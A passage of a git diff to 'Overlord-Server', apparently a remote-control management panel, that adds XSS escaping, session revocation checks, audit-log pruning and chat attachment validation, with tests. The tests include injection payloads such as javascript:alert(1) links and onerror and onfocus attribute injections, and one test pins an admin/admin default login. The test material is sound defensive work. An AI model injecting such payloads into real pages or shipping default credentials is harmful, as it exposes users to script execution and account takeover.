cachedSavedScripts = []; diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js index 738840f..81203e8 100644 --- a/Overlord-Server/public/assets/settings.js +++ b/Overlord-Server/public/assets/settings.js @@ -794,6 +794,36 @@ async function loadMfaStatus() { } } +function renderMfaQrCode(svgMarkup) { + if (!mfaQrCode) return; + mfaQrCode.replaceChildren(); + + const svg = typeof svgMarkup === "string" ? svgMarkup.trim() : ""; + if (!svg || svg.length > 512 * 1024 || !/^]/i.test(svg) || !/<\/svg>$/i.test(svg)) { + return; + } + + // Keep API-provided SVG out of the document DOM. SVG loaded through an + // image element is an inert image context, so scripts and event handlers in + // a compromised response cannot run in the settings page. + const image = document.createElement("img"); + image.alt = "MFA setup QR code"; + image.className = "block h-full w-full"; + image.src = `data:image/svg+xml;charset=utf-8,${encodeURIComponent(svg)}`; + mfaQrCode.appendChild(image); +} + +function safeMfaOtpauthUrl(value) { + const candidate = typeof value === "string" ? value.trim() : ""; + if (!candidate || candidate.length > 4096) return "#"; + try { + const parsed = new URL(candidate); + return parsed.protocol === "otpauth:" && parsed.hostname === "totp" ? parsed.href : "#"; + } catch { + return "#"; + } +} + async function startMfaSetup() { try { const res = await fetch("/api/mfa/setup", { method: "POST", credentials: "include" }); @@ -802,9 +832,9 @@ async function startMfaSetup() { showMfaMessage(data.error || "Failed to start MFA setup.", "error"); return; } - if (mfaQrCode) mfaQrCode.innerHTML = data.qrSvg || ""; + renderMfaQrCode(data.qrSvg); if (mfaSecretText) mfaSecretText.textContent = data.secret || ""; - if (mfaOtpauthLink) mfaOtpauthLink.href = data.otpauthUrl || "#"; + if (mfaOtpauthLink) mfaOtpauthLink.setAttribute("href", safeMfaOtpauthUrl(data.otpauthUrl)); revealElement(mfaSetupPanel, { duration: 240, offset: 8 }); if (mfaEnableCodeInput) mfaEnableCodeInput.focus(); } catch { diff --git a/Overlord-Server/public/assets/socks5-manager.js b/Overlord-Server/public/assets/socks5-manager.js index d16daa0..a60f5cb 100644 --- a/Overlord-Server/public/assets/socks5-manager.js +++ b/Overlord-Server/public/assets/socks5-manager.js @@ -112,7 +112,7 @@ function renderTable(proxies) { function escapeHtml(str) { const div = document.createElement("div"); div.textContent = str; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } // ── Actions ─────────────────────────────────────────────────────────────────── diff --git a/Overlord-Server/public/assets/sol-publish.js b/Overlord-Server/public/assets/sol-publish.js index 19336f8..b4a75d9 100644 --- a/Overlord-Server/public/assets/sol-publish.js +++ b/Overlord-Server/public/assets/sol-publish.js @@ -117,7 +117,7 @@ function renderRpcEndpointManager(records) { function escapeHtml(value) { const element = document.createElement("span"); element.textContent = String(value); - return element.innerHTML; + return element.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } testAllRpcBtn.addEventListener("click", async () => { diff --git a/Overlord-Server/public/assets/user-client-access.js b/Overlord-Server/public/assets/user-client-access.js index 48f84bd..05b1b35 100644 --- a/Overlord-Server/public/assets/user-client-access.js +++ b/Overlord-Server/public/assets/user-client-access.js @@ -50,7 +50,7 @@ function showMessage(text, type = "ok") { function escapeHtml(value) { const div = document.createElement("div"); div.textContent = value == null ? "" : String(value); - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } function getRule(clientId) { diff --git a/Overlord-Server/public/assets/visual-builder.js b/Overlord-Server/public/assets/visual-builder.js index 723dc83..fdaa054 100644 --- a/Overlord-Server/public/assets/visual-builder.js +++ b/Overlord-Server/public/assets/visual-builder.js @@ -115,7 +115,7 @@ let dragGhost = null; function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } function findBlockDef(blockId) { diff --git a/Overlord-Server/public/assets/voice.js b/Overlord-Server/public/assets/voice.js index 941b460..585aa78 100644 --- a/Overlord-Server/public/assets/voice.js +++ b/Overlord-Server/public/assets/voice.js @@ -68,7 +68,10 @@ function setStatus(text, cls) { if (!statusPill) return; statusPill.className = "inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls; - statusPill.innerHTML = `${text}`; + statusPill.innerHTML = ''; + const label = document.createElement("span"); + label.textContent = String(text || ""); + statusPill.appendChild(label); } function downsampleTo16k(float32Buffer, sampleRate) { @@ -537,7 +540,10 @@ function daSetStatus(text, cls) { if (!daStatusPill) return; daStatusPill.className = "inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls; - daStatusPill.innerHTML = `${text}`; + daStatusPill.innerHTML = ''; + const label = document.createElement("span"); + label.textContent = String(text || ""); + daStatusPill.appendChild(label); } function daClearPlayback() { diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js index 10b0cda..7916ed2 100644 --- a/Overlord-Server/public/assets/webcam.js +++ b/Overlord-Server/public/assets/webcam.js @@ -523,7 +523,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s state === "error" ? "Error" : "Stopped"); - statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`; + statusEl.innerHTML = icons[state] || icons.idle; + const labelEl = document.createElement("span"); + labelEl.textContent = String(label || ""); + statusEl.appendChild(labelEl); const wsOpen = ws && ws.readyState === WebSocket.OPEN; const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping"; diff --git a/Overlord-Server/public/assets/winre.js b/Overlord-Server/public/assets/winre.js index d9e6b9b..6fcc60a 100644 --- a/Overlord-Server/public/assets/winre.js +++ b/Overlord-Server/public/assets/winre.js @@ -211,7 +211,7 @@ function formatBytes(bytes) { function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } clientSearch.addEventListener("input", filterAndRenderClients); diff --git a/Overlord-Server/public/file-share.html b/Overlord-Server/public/file-share.html index d824111..348b4d9 100644 --- a/Overlord-Server/public/file-share.html +++ b/Overlord-Server/public/file-share.html @@ -60,8 +60,7 @@

Downloading password-protected files:

Use the X-Download-Password header:

curl -H "X-Download-Password: yourpass" https://host/api/file-share/<id>/download -o file.ext
-

Or pass it as a query parameter:

-
curl "https://host/api/file-share/<id>/download?password=yourpass" -o file.ext
+

Do not put the password in the URL; URLs can be retained in browser history and access logs.

diff --git a/Overlord-Server/scripts/run-tests-isolated.ts b/Overlord-Server/scripts/run-tests-isolated.ts index cf9f4ed..6c197c8 100644 --- a/Overlord-Server/scripts/run-tests-isolated.ts +++ b/Overlord-Server/scripts/run-tests-isolated.ts @@ -5,7 +5,14 @@ import { join } from "node:path"; const dataDir = mkdtempSync(join(tmpdir(), "overlord-bun-test-")); writeFileSync(join(dataDir, "config.json"), "{}\n", "utf8"); -const child = Bun.spawn(["bun", "test", "src", ...process.argv.slice(2)], { +const child = Bun.spawn([ + "bun", + "test", + "--isolate", + "--max-concurrency=1", + "src", + ...process.argv.slice(2), +], { cwd: import.meta.dirname + "/..", env: { ...process.env, diff --git a/Overlord-Server/src/audit-storage-security.test.ts b/Overlord-Server/src/audit-storage-security.test.ts new file mode 100644 index 0000000..4b055e7 --- /dev/null +++ b/Overlord-Server/src/audit-storage-security.test.ts @@ -0,0 +1,45 @@ +import { describe, expect, test } from "bun:test"; +import Database from "bun:sqlite"; +import { pruneAuditRowsToLimit } from "./auditLog"; + +function makeAuditDatabase(): Database { + const database = new Database(":memory:"); + database.run(` + CREATE TABLE audit_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp INTEGER NOT NULL, + username TEXT NOT NULL, + ip TEXT NOT NULL, + action TEXT NOT NULL, + target_client_id TEXT, + details TEXT, + success INTEGER NOT NULL, + error_message TEXT + ) + `); + return database; +} + +describe("audit storage quota", () => { + test("prunes the oldest rows in bounded batches", () => { + const database = makeAuditDatabase(); + try { + const insert = database.prepare( + "INSERT INTO audit_logs(timestamp, username, ip, action, success) VALUES (?, 'system', '127.0.0.1', 'test', 1)", + ); + for (let i = 0; i < 10; i += 1) insert.run(i); + + expect(pruneAuditRowsToLimit(database, 3, 4)).toBe(4); + expect(database.query("SELECT timestamp FROM audit_logs ORDER BY timestamp").all()).toEqual([ + { timestamp: 4 }, { timestamp: 5 }, { timestamp: 6 }, + { timestamp: 7 }, { timestamp: 8 }, { timestamp: 9 }, + ]); + expect(pruneAuditRowsToLimit(database, 3, 20)).toBe(3); + expect(database.query("SELECT timestamp FROM audit_logs ORDER BY timestamp").all()).toEqual([ + { timestamp: 7 }, { timestamp: 8 }, { timestamp: 9 }, + ]); + } finally { + database.close(); + } + }); +}); diff --git a/Overlord-Server/src/auditLog.ts b/Overlord-Server/src/auditLog.ts index af7b271..557d19d 100644 --- a/Overlord-Server/src/auditLog.ts +++ b/Overlord-Server/src/auditLog.ts @@ -10,7 +10,12 @@ const db = new Database(dbPath); const auditQueue: AuditLogEntry[] = []; const BATCH_SIZE = 50; const BATCH_INTERVAL_MS = 1000; +export const DEFAULT_AUDIT_MAX_ROWS = 250_000; +export const MAX_AUDIT_PRUNE_BATCH = 50_000; +const AUDIT_MAINTENANCE_EVERY_WRITES = 1_000; +const AUDIT_MAINTENANCE_INTERVAL_MS = 60 * 60 * 1000; let flushTimeout: Timer | null = null; +let auditWritesSinceMaintenance = 0; const VERBOSE_AUDIT = process.env.VERBOSE_AUDIT === "true"; @@ -117,16 +122,46 @@ export interface AuditLogFilters { deniedClientIds?: string[]; } +function positiveAuditInt(name: string, fallback: number, maximum: number): number { + const parsed = Number(process.env[name]); + if (!Number.isSafeInteger(parsed) || parsed <= 0) return fallback; + return Math.min(parsed, maximum); +} + +function boundedAuditText(value: unknown, maxLength: number): string { + return typeof value === "string" + ? value.slice(0, maxLength).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "") + : ""; +} + +function normalizeAuditEntry(entry: AuditLogEntry): AuditLogEntry { + return { + timestamp: Number.isFinite(entry.timestamp) ? entry.timestamp : Date.now(), + username: boundedAuditText(entry.username, 128) || "unknown", + ip: boundedAuditText(entry.ip, 128) || "unknown", + action: boundedAuditText(entry.action, 128) || "unknown", + ...(entry.targetClientId + ? { targetClientId: boundedAuditText(entry.targetClientId, 128) || undefined } + : {}), + ...(entry.details ? { details: boundedAuditText(entry.details, 16 * 1024) || undefined } : {}), + success: entry.success === true, + ...(entry.errorMessage + ? { errorMessage: boundedAuditText(entry.errorMessage, 4 * 1024) || undefined } + : {}), + }; +} + export function logAudit(entry: AuditLogEntry): void { - auditQueue.push(entry); + const normalized = normalizeAuditEntry(entry); + auditQueue.push(normalized); if (VERBOSE_AUDIT) { - const status = entry.success ? "✓" : "✗"; - const target = entry.targetClientId - ? ` [client: ${entry.targetClientId.substring(0, 8)}...]` + const status = normalized.success ? "✓" : "✗"; + const target = normalized.targetClientId + ? ` [client: ${normalized.targetClientId.substring(0, 8)}...]` : ""; console.log( - `[audit] ${status} ${entry.username}@${entry.ip} - ${entry.action}${target}`, + `[audit] ${status} ${normalized.username}@${normalized.ip} - ${normalized.action}${target}`, ); } @@ -170,6 +205,11 @@ function flushAuditLogs(): void { }); transaction(logsToWrite); + auditWritesSinceMaintenance += logsToWrite.length; + if (auditWritesSinceMaintenance >= AUDIT_MAINTENANCE_EVERY_WRITES) { + auditWritesSinceMaintenance = 0; + runAuditMaintenance(); + } metrics.recordInternalTask("audit-flush", Date.now() - startedAt); } catch (error) { console.error( @@ -359,6 +399,52 @@ export function cleanupOldAuditLogs(daysToKeep: number = 90): number { return deleted; } +export function pruneAuditRowsToLimit( + database: Database, + maxRows: number, + maxBatch = MAX_AUDIT_PRUNE_BATCH, +): number { + const safeMaxRows = Math.max(1, Math.floor(maxRows)); + const safeBatch = Math.max(1, Math.floor(maxBatch)); + const total = Number( + (database.query("SELECT COUNT(*) AS count FROM audit_logs").get() as { count?: number } | null)?.count || 0, + ); + const deleteCount = Math.min(safeBatch, Math.max(0, total - safeMaxRows)); + if (deleteCount === 0) return 0; + return database.run( + `DELETE FROM audit_logs WHERE id IN ( + SELECT id FROM audit_logs ORDER BY timestamp ASC, id ASC LIMIT ? + )`, + [deleteCount], + ).changes; +} + +export function runAuditMaintenance(): void { + try { + const retentionSetting = String(process.env.OVERLORD_AUDIT_RETENTION_DAYS || "").trim(); + if (retentionSetting) { + cleanupOldAuditLogs(positiveAuditInt("OVERLORD_AUDIT_RETENTION_DAYS", 90, 3_650)); + } + const maxRowsSetting = String(process.env.OVERLORD_AUDIT_MAX_ROWS || "").trim(); + if (maxRowsSetting) { + const maxRows = positiveAuditInt( + "OVERLORD_AUDIT_MAX_ROWS", + DEFAULT_AUDIT_MAX_ROWS, + 10_000_000, + ); + const deleted = pruneAuditRowsToLimit(db, maxRows); + if (deleted > 0) { + console.log(`[audit] Pruned ${deleted} oldest rows to enforce the ${maxRows} row cap`); + } + } + } catch (error) { + console.error("[audit] Maintenance failed:", error); + } +} + +setTimeout(runAuditMaintenance, 5_000).unref?.(); +setInterval(runAuditMaintenance, AUDIT_MAINTENANCE_INTERVAL_MS).unref?.(); + process.on("beforeExit", () => { flushAuditLogs(); }); diff --git a/Overlord-Server/src/auth.test.ts b/Overlord-Server/src/auth.test.ts index f2017dd..7b289e1 100644 --- a/Overlord-Server/src/auth.test.ts +++ b/Overlord-Server/src/auth.test.ts @@ -2,7 +2,7 @@ import { afterAll, beforeAll, describe, expect, test } from "bun:test"; import { authenticateRequest, extractTokenFromCookie, extractTokenFromHeader, generateToken } from "./auth"; import { getConfig, updateAppearanceConfig, type Config } from "./config"; import { generateTotpCode } from "./mfa"; -import { getBrandingImage } from "./db"; +import { getBrandingImage, hashTokenForSession, revokeSessionByTokenHash } from "./db"; import { createUser, deleteUser, @@ -46,6 +46,27 @@ describe("auth token extraction", () => { }); }); +describe("session-backed authentication", () => { + test("a revoked session invalidates HTTP authentication immediately", async () => { + const username = `session_revoke_${Date.now().toString(36)}`; + const created = await createUser(username, PASSWORD, "viewer", "test"); + expect(created.success).toBe(true); + + try { + const token = await generateToken(getUserById(created.userId!)!); + const request = new Request("https://localhost/api/auth/me", { + headers: { Authorization: `Bearer ${token}` }, + }); + expect((await authenticateRequest(request))?.userId).toBe(created.userId!); + + expect(revokeSessionByTokenHash(hashTokenForSession(token))).toBe(true); + expect(await authenticateRequest(request)).toBeNull(); + } finally { + deleteUser(created.userId!); + } + }); +}); + describe("forced password change authentication", () => { test("a pending account can only use identity, logout, and its own password endpoint", async () => { const username = `forced_password_${Date.now().toString(36)}`; diff --git a/Overlord-Server/src/auth.ts b/Overlord-Server/src/auth.ts index 0ef07f0..2464a23 100644 --- a/Overlord-Server/src/auth.ts +++ b/Overlord-Server/src/auth.ts @@ -12,6 +12,7 @@ import { isTokenRevoked, pruneExpiredRevokedTokens, createSession, + getSessionByTokenHash, hashTokenForSession, revokeSessionByTokenHash, updateSessionActivity, @@ -85,19 +86,15 @@ export async function generateToken( const now = Math.floor(Date.now() / 1000); const expiresAt = now + getSessionTtlSeconds(); - try { - createSession({ - id: crypto.randomUUID(), - userId: user.id, - tokenHash, - ip: sessionMeta?.ip || null, - userAgent: sessionMeta?.userAgent || null, - createdAt: now, - expiresAt, - }); - } catch (e) { - console.error("[auth] Failed to create session record:", e); - } + createSession({ + id: crypto.randomUUID(), + userId: user.id, + tokenHash, + ip: sessionMeta?.ip || null, + userAgent: sessionMeta?.userAgent || null, + createdAt: now, + expiresAt, + }); return token; } @@ -107,6 +104,12 @@ export async function verifyToken(token: string): Promise { return null; } + const session = getSessionByTokenHash(hashTokenForSession(token)); + if (!session || session.expiresAt <= Math.floor(Date.now() / 1000)) { + tokenCache.delete(token); + return null; + } + const cached = tokenCache.get(token); if (cached) { const age = Date.now() - cached.timestamp; diff --git a/Overlord-Server/src/bootstrap-password-compatibility.test.ts b/Overlord-Server/src/bootstrap-password-compatibility.test.ts new file mode 100644 index 0000000..e2caf58 --- /dev/null +++ b/Overlord-Server/src/bootstrap-password-compatibility.test.ts @@ -0,0 +1,9 @@ +import { expect, test } from "bun:test"; +import { getConfig } from "./config"; + +test("defaults the bootstrap login to admin/admin when no override is supplied", () => { + const config = getConfig(); + expect(config.auth.username).toBe("admin"); + expect(config.auth.password).toBe("admin"); + expect(config.auth.passwordIsUserSupplied).toBe(false); +}); diff --git a/Overlord-Server/src/browser-render-security.test.ts b/Overlord-Server/src/browser-render-security.test.ts new file mode 100644 index 0000000..cd6a95a --- /dev/null +++ b/Overlord-Server/src/browser-render-security.test.ts @@ -0,0 +1,105 @@ +import { describe, expect, test } from "bun:test"; + +const navTemplateUrl = new URL("../public/assets/nav/template.js", import.meta.url).href; +const { dropdownItem, sidebarChild } = await import(navTemplateUrl) as { + dropdownItem: (child: Record) => string; + sidebarChild: (child: Record) => string; +}; + +describe("backstage fake-client rendering", () => { + test("does not concatenate lookup paths or window-map values into HTML", async () => { + const source = await Bun.file(new URL("../public/assets/backstage.js", import.meta.url)).text(); + expect(source).not.toContain("+ msg.path"); + expect(source).not.toContain("windowMapCanvas.innerHTML = html"); + expect(source).not.toContain("windowMapList.innerHTML = listHtml"); + expect(source).toContain("normalizeWindowMapPayload"); + expect(source).toContain("document.createTextNode((killExe ?"); + expect(source).toContain("windowMapCanvas.replaceChildren(canvasFragment)"); + expect(source).toContain("windowMapList.replaceChildren(list)"); + }); + + test("renders fake-client stream status labels as text", async () => { + const source = await Bun.file(new URL("../public/assets/backstage.js", import.meta.url)).text(); + expect(source).not.toContain('statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`'); + expect(source).toContain('labelEl.textContent = String(label || "")'); + }); +}); + +describe("remote media fake-client rendering", () => { + test("renders remote desktop status and permission names as text", async () => { + const source = await Bun.file(new URL("../public/assets/remotedesktop.js", import.meta.url)).text(); + expect(source).not.toContain('statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`'); + expect(source).not.toContain("macOS permissions missing: ${list}"); + expect(source).toContain('labelEl.textContent = String(label || "")'); + expect(source).toContain("missingEl.textContent = list"); + }); + + test("renders webcam status reasons as text", async () => { + const source = await Bun.file(new URL("../public/assets/webcam.js", import.meta.url)).text(); + expect(source).not.toContain('statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`'); + expect(source).toContain('labelEl.textContent = String(label || "")'); + }); +}); + +describe("shared connection-status rendering", () => { + test("keeps dynamic status labels out of HTML templates", async () => { + const [consoleSource, processSource, voiceSource] = await Promise.all([ + Bun.file(new URL("../public/assets/console.js", import.meta.url)).text(), + Bun.file(new URL("../public/assets/processes.js", import.meta.url)).text(), + Bun.file(new URL("../public/assets/voice.js", import.meta.url)).text(), + ]); + + expect(consoleSource).not.toContain("${label}"); + expect(consoleSource).toContain("document.createTextNode"); + expect(processSource).not.toContain("${text}"); + expect(processSource).toContain("document.createTextNode"); + expect(voiceSource).not.toContain("${text}"); + expect(voiceSource).toContain('label.textContent = String(text || "")'); + }); +}); + +describe("settings and build API rendering", () => { + test("keeps MFA SVG responses out of the document DOM and rejects executable links", async () => { + const source = await Bun.file(new URL("../public/assets/settings.js", import.meta.url)).text(); + expect(source).not.toContain('mfaQrCode.innerHTML = data.qrSvg'); + expect(source).not.toContain('mfaOtpauthLink.href = data.otpauthUrl'); + expect(source).toContain("data:image/svg+xml;charset=utf-8"); + expect(source).toContain('parsed.protocol === "otpauth:" && parsed.hostname === "totp"'); + }); + + test("escapes build eligibility errors and coerces response counts", async () => { + const source = await Bun.file(new URL("../public/assets/build.js", import.meta.url)).text(); + expect(source).not.toContain('${data.error || "Failed to check eligible clients"}

'); + expect(source).not.toContain("Error: ${err.message}

"); + expect(source).toContain('escapeHtml(data.error || "Failed to check eligible clients")'); + expect(source).toContain("Math.trunc(Number(data.eligible) || 0)"); + }); +}); + +describe("dynamic plugin navigation rendering", () => { + const hostile = { + href: "javascript:alert(1)", + linkId: 'plugin\" autofocus onfocus=\"alert(1)', + icon: 'fa-cube\" onmouseover=\"alert(1)', + iconColor: "text-red-400 ', + }; + + test("escapes labels and rejects executable topbar attributes", () => { + const html = dropdownItem(hostile); + expect(html).toContain('href="#"'); + expect(html).toContain("<img src=x onerror="alert(1)">"); + expect(html).not.toContain(" { + const html = sidebarChild(hostile); + expect(html).toContain('href="#"'); + expect(html).toContain("<img src=x onerror="alert(1)">"); + expect(html).not.toContain(" void; + onEvent: (ctx: any, clientId: string, event: string, payload: unknown) => void; + rpc: { + store_attachment: (ctx: any, params: unknown) => any; + get_attachment: (ctx: any, params: unknown) => any; + }; + }; + MAX_CHAT_ATTACHMENT_SIZE: number; + MAX_CHAT_INCOMING_RATE_KEYS: number; + MAX_CHAT_ROWS_PRUNED_PER_SCOPE: number; + createChatMessageStore: (database: Database, quotaProvider: () => any) => (record: any) => any; + detectChatRasterMime: (buf: Buffer) => string | null; + getChatRuntimeStats: () => { incomingRateKeys: number }; + validateChatAttachment: (input: unknown) => any; +}; + +const { + default: chatPlugin, + MAX_CHAT_ATTACHMENT_SIZE, + MAX_CHAT_INCOMING_RATE_KEYS, + MAX_CHAT_ROWS_PRUNED_PER_SCOPE, + createChatMessageStore, + detectChatRasterMime, + getChatRuntimeStats, + validateChatAttachment, +} = chatModule; + +const PNG_1X1 = Buffer.from( + "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=", + "base64", +); +const GIF_1X1 = Buffer.from( + "R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==", + "base64", +); +const JPEG_ENVELOPE = Buffer.from([ + 0xff, 0xd8, + 0xff, 0xc0, 0x00, 0x0b, 0x08, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x11, 0x00, + 0xff, 0xd9, +]); +const WEBP_ENVELOPE = Buffer.from( + "UklGRiIAAABXRUJQVlA4IBYAAAAwAQCdASoBAAEAAUAmJaQAA3AA/v89", + "base64", +); +const APNG_ENVELOPE = (() => { + const animationControl = Buffer.alloc(20); + animationControl.writeUInt32BE(8, 0); + animationControl.write("acTL", 4, "ascii"); + animationControl.writeUInt32BE(2, 8); + return Buffer.concat([PNG_1X1.subarray(0, 33), animationControl, PNG_1X1.subarray(33)]); +})(); + +function payload(buf: Buffer, mime: string, name = "image") { + return { name, mime, dataB64: buf.toString("base64") }; +} + +function insertionContext() { + let inserts = 0; + const broadcasts: unknown[] = []; + const warnings: string[] = []; + return { + ctx: { + db: { + transaction: (fn: (record: unknown) => unknown) => fn, + prepare: (sql: string) => ({ + get: () => ({ messages: 0, message_bytes: 0, attachment_bytes: 0 }), + all: () => [], + run: () => { + if (/\bINSERT\b/i.test(sql)) inserts += 1; + return { lastInsertRowid: inserts }; + }, + }), + }, + broadcast: (_event: string, value: unknown) => broadcasts.push(value), + log: { warn: (value: string) => warnings.push(value) }, + }, + get inserts() { return inserts; }, + broadcasts, + warnings, + }; +} + +const GENEROUS_CHAT_STORAGE_LIMITS = { + perClientMessages: 100_000, + perClientMessageBytes: 1024 * 1024 * 1024, + perClientAttachmentBytes: 1024 * 1024 * 1024, + globalMessages: 100_000, + globalMessageBytes: 1024 * 1024 * 1024, + globalAttachmentBytes: 1024 * 1024 * 1024, +}; + +function chatRecord(clientId: string, timestamp: number, text = "hello") { + return { + clientId, + sender: "Client", + direction: "from_target", + text, + timestamp, + }; +} + +function chatStorageHarness(overrides: Record = {}) { + const database = new Database(":memory:"); + chatPlugin.setup({ db: database }); + const limits = { ...GENEROUS_CHAT_STORAGE_LIMITS, ...overrides }; + return { + database, + save: createChatMessageStore(database, () => limits), + }; +} + +describe("chat raster attachment validation", () => { + test("recognizes only bounded still-image raster envelopes", () => { + expect(detectChatRasterMime(PNG_1X1)).toBe("image/png"); + expect(detectChatRasterMime(JPEG_ENVELOPE)).toBe("image/jpeg"); + expect(detectChatRasterMime(GIF_1X1)).toBeNull(); + expect(detectChatRasterMime(APNG_ENVELOPE)).toBeNull(); + expect(detectChatRasterMime(WEBP_ENVELOPE)).toBe("image/webp"); + expect(detectChatRasterMime(Buffer.from(""))).toBeNull(); + }); + + test("accepts valid raster bytes and canonicalizes metadata", () => { + const result = validateChatAttachment(payload(PNG_1X1, "image/png", "folder/one.png")); + expect(result.ok).toBe(true); + expect(result.mime).toBe("image/png"); + expect(result.name).toBe("folder_one.png"); + expect(result.buf).toEqual(PNG_1X1); + }); + + test("forces active files to inert downloads and rejects image spoofing or invalid base64", () => { + const svg = Buffer.from(""); + expect(validateChatAttachment(payload(svg, "image/svg+xml")).mime).toBe("application/octet-stream"); + expect(validateChatAttachment(payload(svg, "image/png")).ok).toBe(false); + expect(validateChatAttachment(payload(PNG_1X1, "image/jpeg")).error).toMatch(/MIME/i); + expect(validateChatAttachment(payload(Buffer.concat([JPEG_ENVELOPE, Buffer.from("")]), "image/jpeg")).ok).toBe(false); + expect(validateChatAttachment({ mime: "image/png", dataB64: "abcd!!!!" }).ok).toBe(false); + }); + + test("rejects encoded payloads above the server-side limit", () => { + const tooLong = "A".repeat(Math.ceil(MAX_CHAT_ATTACHMENT_SIZE / 3) * 4 + 4); + const result = validateChatAttachment({ mime: "image/png", dataB64: tooLong }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/64 MB/); + + // MAX + 1 happens to have the same base64 character count as MAX, so this + // also verifies the decoded-byte check rather than only the string guard. + const decodedOversize = Buffer.alloc(MAX_CHAT_ATTACHMENT_SIZE + 1).toString("base64"); + const decodedResult = validateChatAttachment({ mime: "image/png", dataB64: decodedOversize }); + expect(decodedResult.ok).toBe(false); + expect(decodedResult.error).toMatch(/64 MB/); + }); + + test("drops an unsafe fake-client event before database insertion or broadcast", () => { + const state = insertionContext(); + chatPlugin.onEvent( + state.ctx, + "fake-client", + "chat_attachment", + payload(Buffer.from(""), "image/png"), + ); + expect(state.inserts).toBe(0); + expect(state.broadcasts).toHaveLength(0); + expect(state.warnings).toHaveLength(1); + }); + + test("stores and broadcasts a verified fake-client raster attachment", () => { + const state = insertionContext(); + chatPlugin.onEvent( + state.ctx, + "client-1", + "chat_attachment", + { ...payload(PNG_1X1, "image/png", "shot.png"), from: "Client" }, + ); + expect(state.inserts).toBe(1); + expect(state.broadcasts).toHaveLength(1); + expect(state.broadcasts[0]).toMatchObject({ + clientId: "client-1", + attachment: { name: "shot.png", mime: "image/png", size: PNG_1X1.length }, + }); + }); + + test("operator RPC stores active formats as inert downloads", () => { + const state = insertionContext(); + const result = chatPlugin.rpc.store_attachment( + state.ctx, + { + ...payload(Buffer.from(""), "text/html"), + clientId: "client-a", + sender: "Operator", + }, + ); + expect(result.ok).toBe(true); + expect(result.mime).toBe("application/octet-stream"); + expect(state.inserts).toBe(1); + }); + + test("serves an unsafe legacy database row only as an inert download", () => { + const svg = Buffer.from(""); + const ctx = { + db: { + prepare: () => ({ + get: () => ({ + attachment_name: "legacy.svg", + attachment_mime: "image/svg+xml", + attachment_data: svg, + }), + }), + }, + }; + const result = chatPlugin.rpc.get_attachment(ctx, { id: 1, clientId: "client-a" }); + expect(result).toEqual({ + ok: true, + name: "legacy.svg", + mime: "application/octet-stream", + dataB64: svg.toString("base64"), + }); + }); +}); + +describe("chat fleet storage quotas", () => { + test("prunes the oldest message across distinct client identities", () => { + const { database, save } = chatStorageHarness({ globalMessages: 2 }); + try { + expect(save(chatRecord("client-a", 1)).ok).toBe(true); + expect(save(chatRecord("client-b", 2)).ok).toBe(true); + expect(save(chatRecord("client-c", 3)).ok).toBe(true); + expect(database.query( + "SELECT client_id FROM messages ORDER BY timestamp", + ).all()).toEqual([{ client_id: "client-b" }, { client_id: "client-c" }]); + } finally { + database.close(); + } + }); + + test("enforces fleet attachment bytes across distinct clients", () => { + const { database, save } = chatStorageHarness({ globalAttachmentBytes: 10 }); + try { + expect(save({ + ...chatRecord("client-a", 1, ""), + attachmentName: "a.png", + attachmentMime: "image/png", + attachmentData: Buffer.alloc(6, 1), + }).ok).toBe(true); + expect(save({ + ...chatRecord("client-b", 2, ""), + attachmentName: "b.png", + attachmentMime: "image/png", + attachmentData: Buffer.alloc(6, 2), + }).ok).toBe(true); + expect(database.query( + "SELECT client_id, length(attachment_data) AS bytes FROM messages", + ).all()).toEqual([{ client_id: "client-b", bytes: 6 }]); + } finally { + database.close(); + } + }); + + test("accounts UTF-8 bytes in legacy text-typed attachment rows", () => { + const { database, save } = chatStorageHarness({ globalAttachmentBytes: 5 }); + try { + database.prepare( + `INSERT INTO messages + (client_id, sender, direction, text, timestamp, attachment_data) + VALUES ('legacy', 'Client', 'from_target', '', 1, ?)`, + ).run("界"); + expect(save({ + ...chatRecord("incoming", 2, ""), + attachmentName: "incoming.png", + attachmentMime: "image/png", + attachmentData: Buffer.alloc(3, 1), + }).ok).toBe(true); + expect(database.query( + "SELECT client_id FROM messages", + ).all()).toEqual([{ client_id: "incoming" }]); + } finally { + database.close(); + } + }); + + test("accounts UTF-8 message payload bytes independently of row count", () => { + const { database, save } = chatStorageHarness({ globalMessageBytes: 160 }); + try { + const text = "界".repeat(20); + expect(save(chatRecord("a", 1, text)).ok).toBe(true); + expect(save(chatRecord("b", 2, text)).ok).toBe(true); + expect(database.query( + "SELECT client_id FROM messages", + ).all()).toEqual([{ client_id: "b" }]); + } finally { + database.close(); + } + }); + + test("commits a bounded global cleanup batch and converges on a later attempt", () => { + const { database, save } = chatStorageHarness({ globalMessages: 1 }); + try { + const insert = database.prepare( + `INSERT INTO messages(client_id, sender, direction, text, timestamp) + VALUES (?, 'Client', 'from_target', 'old', ?)`, + ); + database.transaction(() => { + for (let i = 0; i < MAX_CHAT_ROWS_PRUNED_PER_SCOPE + 2; i += 1) { + insert.run(`legacy-${i}`, i); + } + })(); + + expect(save(chatRecord("incoming", 10_000)).ok).toBe(false); + expect((database.query( + "SELECT 